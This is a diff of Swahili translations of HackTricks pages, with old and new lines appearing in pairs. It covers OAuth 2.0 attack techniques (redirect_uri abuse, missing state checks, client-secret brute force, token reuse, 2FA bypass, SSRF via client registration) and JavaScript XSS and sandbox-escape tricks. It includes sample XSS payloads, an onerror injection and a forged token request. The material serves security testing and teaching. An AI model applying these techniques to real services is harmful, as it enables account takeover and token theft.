Fikiria tovuti ya kufikirika _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
|
||||
Fikiria tovuti ya mfano _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
|
||||
|
||||
Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:
|
||||
|
||||
- **resource owner**: Wewe, kama **mtumiaji/kitengo**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii.
|
||||
- **resource owner**: Wewe, kama **mtumiaji/kitu**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii.
|
||||
- **resource server**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `resource owner`, mfano, **https://socialmedia.com**.
|
||||
- **client application**: **programu inayotafuta ruhusa** kutoka kwa `resource owner`, kama vile **https://example.com**.
|
||||
- **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata ruhusa, mfano, **https://socialmedia.com**.
|
||||
- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama vile **https://example.com**.
|
||||
- **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata idhini, mfano, **https://socialmedia.com**.
|
||||
- **client_id**: Kitambulisho cha umma, cha kipekee kwa programu.
|
||||
- **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya ruhusa, inayotumika kwa ajili ya kuzalisha `access_tokens`.
|
||||
- **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya idhini, inayotumika kwa ajili ya kuzalisha `access_tokens`.
|
||||
- **response_type**: Thamani inayobainisha **aina ya token inayohitajika**, kama `code`.
|
||||
- **scope**: **ngazi ya ufikiaji** ambayo `client application` inahitaji kutoka kwa `resource owner`.
|
||||
- **redirect_uri**: **URL ambayo mtumiaji anarejeshwa baada ya ruhusa**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
|
||||
- **state**: Kigezo cha **kuhifadhi data wakati wa kuelekea na kurudi kwa mtumiaji kwenye seva ya ruhusa**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
|
||||
- **grant_type**: Kigezo kinachoashiria **aina ya ruhusa na aina ya token itakayorejeshwa**.
|
||||
- **code**: Kodu ya ruhusa kutoka kwa `authorization server`, inayotumika pamoja na `client_id` na `client_secret` na `client application` ili kupata `access_token`.
|
||||
- **redirect_uri**: **URL ambayo mtumiaji anarejeshwa baada ya idhini**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
|
||||
- **state**: Kigezo cha **kuhifadhi data wakati wa kuelekea na kurudi kwa mtumiaji kwenye seva ya idhini**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
|
||||
- **grant_type**: Kigezo kinachoashiria **aina ya grant na aina ya token itakayorejeshwa**.
|
||||
- **code**: Kodu ya idhini kutoka kwa `authorization server`, inayotumika pamoja na `client_id` na `client_secret` na `client application` ili kupata `access_token`.
|
||||
- **access_token**: **token ambayo `client application` inatumia kwa maombi ya API** kwa niaba ya `resource owner`.
|
||||
- **refresh_token**: Inaruhusu programu **kupata `access_token` mpya bila kumlazimisha mtumiaji tena**.
|
||||
|
||||
@ -52,33 +52,33 @@ Host: socialmedia.com
|
||||
```
|
||||
6. Hatimaye, mchakato unamalizika wakati https://example.com inatumia `access_token` yako kufanya wito wa API kwa Social Media ili kufikia
|
||||
|
||||
## Uthibitisho wa Usalama <a href="#id-323a" id="id-323a"></a>
|
||||
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Open redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile nambari za idhini, zinatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti.
|
||||
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile misimbo ya idhini, inatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti.
|
||||
|
||||
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji wa seva. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
|
||||
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji ya seva ya idhini. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na kuelekeza wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
|
||||
|
||||
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva.
|
||||
|
||||
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva.
|
||||
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi ya seva.
|
||||
|
||||
### XSS katika utekelezaji wa kuelekeza <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **vulnerable to XSS**. Payload inayowezekana kujaribu:
|
||||
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **inaweza kuathiriwa na XSS**. Payload inay posible kujaribu:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Usimamizi mbaya wa parameter ya hali <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Katika utekelezaji wa OAuth, matumizi mabaya au kukosekana kwa **`state` parameter** kunaweza kuongeza hatari ya mashambulizi ya **Cross-Site Request Forgery (CSRF)** kwa kiasi kikubwa. Uthibitisho huu unatokea wakati **`state` parameter** haijatumiwa, imetumiwa kama thamani ya kudumu, au haijathibitishwa ipasavyo, ikiruhusu washambuliaji kupita ulinzi wa CSRF.
|
||||
Katika utekelezaji wa OAuth, matumizi mabaya au kukosekana kwa **`state` parameter** kunaweza kuongeza hatari ya mashambulizi ya **Cross-Site Request Forgery (CSRF)** kwa kiasi kikubwa. Uthibitisho huu unatokea wakati `state` parameter haijatumiwa, imetumiwa kama thamani ya kudumu, au haijathibitishwa ipasavyo, ikiruhusu washambuliaji kupita ulinzi wa CSRF.
|
||||
|
||||
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitisho ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
|
||||
|
||||
Mifano halisi ya udhaifu huu imeandikwa katika changamoto mbalimbali za **CTF** na **majukwaa ya udukuzi**, ikionyesha athari zake za vitendo. Tatizo hili pia linapanuka kwa ushirikiano na huduma za upande wa tatu kama **Slack**, **Stripe**, na **PayPal**, ambapo washambuliaji wanaweza kuelekeza arifa au malipo kwa akaunti zao.
|
||||
|
||||
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth unakuwa salama.
|
||||
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha usalama wa mtiririko wa OAuth.
|
||||
|
||||
### Kabla ya Uchukuaji wa Akaunti <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
@ -87,9 +87,9 @@ Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda d
|
||||
|
||||
### Ufunuo wa Siri <a href="#e177" id="e177"></a>
|
||||
|
||||
Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`** inaweza kufichuliwa kwa usalama, kufichua **`client_secret`** kuna hatari kubwa. Ikiwa **`client_secret`** itakabiliwa, washambuliaji wanaweza kutumia utambulisho na imani ya programu ili **kuiba `access_tokens` za mtumiaji** na taarifa binafsi.
|
||||
Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`** inaweza kufichuliwa kwa usalama, kufichua **`client_secret`** kuna hatari kubwa. Ikiwa `client_secret` itakabiliwa, washambuliaji wanaweza kutumia utambulisho na imani ya programu ili **kuiba `access_tokens` za mtumiaji** na taarifa binafsi.
|
||||
|
||||
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia zaidi hadhi ya kuaminika ya programu.
|
||||
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa `client_secret`, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia hali ya kuaminika ya programu.
|
||||
|
||||
### Bruteforce ya Siri ya Mteja
|
||||
|
||||
@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
Mara tu mteja ana **code na state**, ikiwa inatolewa ndani ya **Referer header** anapovinjari kwenye ukurasa tofauti, basi iko hatarini.
|
||||
Mara tu mteja ana **code and state**, ikiwa inatolewa ndani ya **Referer header** anapovinjari kwenye ukurasa tofauti, basi iko hatarini.
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa huko**.
|
||||
Nenda kwenye **browser history na uangalie kama access token imehifadhiwa huko**.
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
@ -146,23 +146,23 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
Kwa maelezo ya kina zaidi kuhusu jinsi ya kutumia AWS cognito angalia:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
|
||||
{{#endref}}
|
||||
|
||||
### Kutumia token za Apps nyingine <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hauhakiki kwamba token inamhusu app.
|
||||
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si msimbo) unaweza kuwa na hatari ikiwa hauhakiki kwamba token inamhusu mtumiaji wa programu.
|
||||
|
||||
Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **token ya OAuth ya mtumiaji iliyotolewa kwa programu yake, na kuitumia kuingia katika programu ya OAuth ya mwathirika kwa kutumia token ya mtumiaji wa mwathirika**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, atakuwa na uwezo wa kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikaguzi kama token ilitolewa kwa ID yao ya app.
|
||||
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, atakuwa na uwezo wa kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikaguzi kama token ilitolewa kwa ID ya programu yao.
|
||||
|
||||
### Viungo viwili & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingehifadhiwa katika **cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** kama anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
|
||||
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingekuwa **imehifadhiwa katika cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** kama anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
|
||||
|
||||
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingekamilisha cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
|
||||
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingeiweka cookie hii RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
|
||||
|
||||
### Kupita Mwingiliano wa Prompt <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -170,16 +170,16 @@ Kama ilivyoelezwa katika [**video hii**](https://www.youtube.com/watch?v=n9x7_J_
|
||||
|
||||
### response_mode
|
||||
|
||||
Kama [**ilivyoelezwa katika video hii**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), inaweza kuwa inawezekana kuashiria parameter **`response_mode`** kuonyesha unataka nambari ipatikane wapi katika URL ya mwisho:
|
||||
Kama [**ilivyoelezwa katika video hii**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), inaweza kuwa inawezekana kuashiria parameter **`response_mode`** kuonyesha unataka msimbo utolewe wapi katika URL ya mwisho:
|
||||
|
||||
- `response_mode=query` -> Nambari inapatikana ndani ya parameter ya GET: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Nambari inapatikana ndani ya parameter ya URL fragment `#code=2397rf3gu93f`
|
||||
- `response_mode=form_post` -> Nambari inapatikana ndani ya fomu ya POST yenye input inayoitwa `code` na thamani
|
||||
- `response_mode=web_message` -> Nambari inatumwa katika ujumbe wa posta: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
- `response_mode=query` -> Msimbo unapatikana ndani ya parameter ya GET: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Msimbo unapatikana ndani ya parameter ya URL fragment `#code=2397rf3gu93f`
|
||||
- `response_mode=form_post` -> Msimbo unapatikana ndani ya fomu ya POST yenye input inayoitwa `code` na thamani
|
||||
- `response_mode=web_message` -> Msimbo unatumwa katika ujumbe wa posta: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
|
||||
### Mchakato wa OAuth ROPC - kupita 2 FA <a href="#b440" id="b440"></a>
|
||||
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
|
||||
|
||||
Kulingana na [**andiko hili**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), huu ni mchakato wa OAuth unaoruhusu kuingia katika OAuth kupitia **jina la mtumiaji** na **nenosiri**. Ikiwa wakati wa mchakato huu rahisi **token** yenye ufikiaji kwa vitendo vyote ambavyo mtumiaji anaweza kufanya inarudishwa basi inawezekana kupita 2FA kwa kutumia token hiyo.
|
||||
Kulingana na [**hiki andiko la blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), huu ni mchakato wa OAuth unaoruhusu kuingia katika OAuth kupitia **jina la mtumiaji** na **nenosiri**. Ikiwa wakati wa mchakato huu rahisi **token** yenye ufikiaji kwa vitendo vyote ambavyo mtumiaji anaweza kufanya inarudishwa basi inawezekana kupita 2FA kwa kutumia token hiyo.
|
||||
|
||||
### ATO kwenye ukurasa wa wavuti unaoelekeza kulingana na uelekezaji wazi kwa referrer <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -187,33 +187,33 @@ Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inael
|
||||
|
||||
1. Mwathirika anafikia ukurasa wa wavuti wa mshambuliaji
|
||||
2. Mwathirika anafungua kiungo kibaya na opener inaanzisha mchakato wa Google OAuth na `response_type=id_token,code&prompt=none` kama vigezo vya ziada kwa kutumia kama **referrer tovuti ya mshambuliaji**.
|
||||
3. Katika opener, baada ya mtoa huduma kumruhusu mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer.
|
||||
4. Tovuti ya mwathirika **inasababisha uelekezaji wazi kulingana na referrer** ikielekeza mtumiaji wa mwathirika kwenye tovuti ya mshambuliaji, kwani **`respose_type`** ilikuwa **`id_token,code`**, nambari itarudishwa kwa mshambuliaji katika **fragment** ya URL ikimruhusu kuchukua akaunti ya mtumiaji kupitia Google kwenye tovuti ya mwathirika.
|
||||
3. Katika opener, baada ya mtoa huduma kumruhusu mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa msimbo wa 30X ambao bado unashikilia tovuti ya mshambuliaji katika referrer.
|
||||
4. Tovuti ya mwathirika **inasababisha uelekezaji wazi kulingana na referrer** ikielekeza mtumiaji wa mwathirika kwenye tovuti ya mshambuliaji, kwani **`respose_type`** ilikuwa **`id_token,code`**, msimbo utatumwa nyuma kwa mshambuliaji katika **fragment** ya URL ikimruhusu kuchukua akaunti ya mtumiaji kupitia Google kwenye tovuti ya mwathirika.
|
||||
|
||||
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Angalia utafiti huu**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Kwa maelezo zaidi ya mbinu hii.**
|
||||
|
||||
Usajili wa Mteja wa Kijani katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za mteja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
|
||||
Usajili wa Wateja wa Kijani katika OAuth unatumika kama vector isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
|
||||
|
||||
**Mambo Muhimu:**
|
||||
|
||||
- **Usajili wa Mteja wa Kijani** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
|
||||
- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **Usajili wa OpenID Connect 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
|
||||
- **Usajili wa Wateja wa Kijani** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
|
||||
- Kipengele hiki kinatii viwango vilivyowekwa katika **RFC7591** na **OpenID Connect Registration 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
|
||||
- Mchakato wa usajili unaweza bila kukusudia kufichua seva kwa SSRF kwa njia kadhaa:
|
||||
- **`logo_uri`**: URL ya alama ya programu ya mteja ambayo inaweza kupatikana na seva, ikisababisha SSRF au kupelekea XSS ikiwa URL itashughulikiwa vibaya.
|
||||
- **`jwks_uri`**: URL ya hati ya JWK ya mteja, ambayo ikiwa imeundwa kwa njia mbaya, inaweza kusababisha seva kufanya maombi ya nje kwa seva inayodhibitiwa na mshambuliaji.
|
||||
- **`sector_identifier_uri`**: Inarejelea orodha ya JSON ya `redirect_uris`, ambayo seva inaweza kupakua, ikisababisha fursa ya SSRF.
|
||||
- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itazipakua mwanzoni mwa mchakato wa uthibitishaji.
|
||||
- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itachukua URIs hizi mwanzoni mwa mchakato wa uthibitishaji.
|
||||
|
||||
**Mkakati wa Kutumia:**
|
||||
|
||||
- SSRF inaweza kusababisha usajili wa mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
|
||||
- Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa hatua ya uthibitishaji.
|
||||
|
||||
## Masharti ya Watoa huduma wa OAuth
|
||||
## Mipangilio ya Watoa huduma wa OAuth
|
||||
|
||||
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Masharti ya Mbio**](race-condition.md).
|
||||
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Mipangilio ya Mbio**](race-condition.md).
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
|
||||
```
|
||||
### **Surrogate Pairs BF**
|
||||
|
||||
Teknolojia hii haitakuwa na manufaa sana kwa XSS lakini inaweza kuwa na manufaa kupita ulinzi wa WAF. Hii python code inapokea kama ingizo 2bytes na inatafuta surrogate pairs ambazo zina byte ya kwanza kama byte za mwisho za High surrogate pair na byte ya mwisho kama byte ya mwisho za low surrogate pair.
|
||||
Teknolojia hii haitakuwa na manufaa sana kwa XSS lakini inaweza kuwa na manufaa kupita ulinzi wa WAF. Hii python code inapokea kama ingizo 2bytes na inatafuta surrogate pairs ambazo zina byte ya kwanza kama byte ya mwisho ya High surrogate pair na byte ya mwisho kama byte ya mwisho ya low surrogate pair.
|
||||
```python
|
||||
def unicode(findHex):
|
||||
for i in range(0,0xFFFFF):
|
||||
@ -152,7 +152,7 @@ document.body.append(anchor)
|
||||
a = document.createElement("a")
|
||||
log = []
|
||||
for (let i = 0; i <= 0x10ffff; i++) {
|
||||
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
|
||||
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
|
||||
if (a.hostname === "hacktricks.xyz") {
|
||||
log.push(i)
|
||||
}
|
||||
@ -197,7 +197,7 @@ Chombo **Hackability inspector** kutoka Portswigger husaidia **kuchambua** **sif
|
||||
|
||||
## "--" Kuteua
|
||||
|
||||
Opereta ya kupunguza `--` pia ni kuteua. Opereta hii inachukua thamani kisha inapunguza kwa moja. Ikiwa thamani hiyo si nambari, itakua `NaN`. Hii inaweza kutumika **kuondoa maudhui ya mabadiliko kutoka kwa mazingira**.
|
||||
Opereta ya kupunguza `--` pia ni kuteua. Opereta hii inachukua thamani kisha inapunguza moja. Ikiwa thamani hiyo si nambari, itakua `NaN`. Hii inaweza kutumika **kuondoa maudhui ya mabadiliko kutoka kwa mazingira**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -241,7 +241,7 @@ test_apply.apply(null, ["arg1", "arg2"])
|
||||
```
|
||||
### Arrow functions
|
||||
|
||||
Arrow functions zinakuwezesha kuunda kazi kwa mstari mmoja kwa urahisi (ikiwa unazielewa)
|
||||
Arrow functions huruhusu kuunda kazi kwa mstari mmoja kwa urahisi zaidi (ikiwa unazielewa)
|
||||
```javascript
|
||||
// Traditional
|
||||
function (a){ return a + 1; }
|
||||
@ -264,7 +264,7 @@ let a = 4;
|
||||
let b = 2;
|
||||
() => a + b + 1;
|
||||
```
|
||||
Hivyo, kazi nyingi za awali kwa kweli hazina maana kwa sababu hatuhifadhi popote ili kuweza kuzitumia. Mfano wa kuunda kazi ya `plusone`:
|
||||
Hivyo, kazi nyingi za awali kwa kweli hazina maana kwa sababu hatuhifadhi mahali popote ili kuziokoa na kuziita. Mfano wa kuunda kazi ya `plusone`:
|
||||
```javascript
|
||||
// Traductional
|
||||
function plusone(a) {
|
||||
@ -345,7 +345,7 @@ return String(this)
|
||||
```
|
||||
## Sandbox Escape - Kuokoa kitu cha dirisha
|
||||
|
||||
Kitu cha Dirisha kinaruhusu kufikia kazi zilizofafanuliwa kimataifa kama alert au eval.
|
||||
Kitu cha Dirisha kinaruhusu kufikia kazi zilizofafanuliwa kimataifa kama vile alert au eval.
|
||||
```javascript
|
||||
// Some ways to access window
|
||||
window.eval("alert(1)")
|
||||
@ -385,7 +385,7 @@ with(element) {
|
||||
<img src onerror=defaultView.alert(1337)>
|
||||
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
|
||||
```
|
||||
## Kivunja kwenye ufikiaji wa thamani
|
||||
## Breakpoint kwenye ufikiaji wa thamani
|
||||
```javascript
|
||||
// Stop when a property in sessionStorage or localStorage is set/get
|
||||
// via getItem or setItem functions
|
||||
|
@ -1,45 +1,45 @@
|
||||
# Sera ya Kuki
|
||||
# Cookies Policy
|
||||
|
||||
Imesasishwa mwisho: 02/04/2023
|
||||
Last updated: 02/04/2023
|
||||
|
||||
### Utangulizi
|
||||
### Introduction
|
||||
|
||||
Sera hii ya Kuki inatumika kwa tovuti zifuatazo zinazomilikiwa na kuendeshwa na timu ya HackTricks ("HackTricks", "sisi", "sisi" au "yetu"):
|
||||
This Cookies Policy applies to the following websites owned and operated by HackTricks team ("HackTricks", "we", "us" or "our"):
|
||||
|
||||
* hacktricks.xyz
|
||||
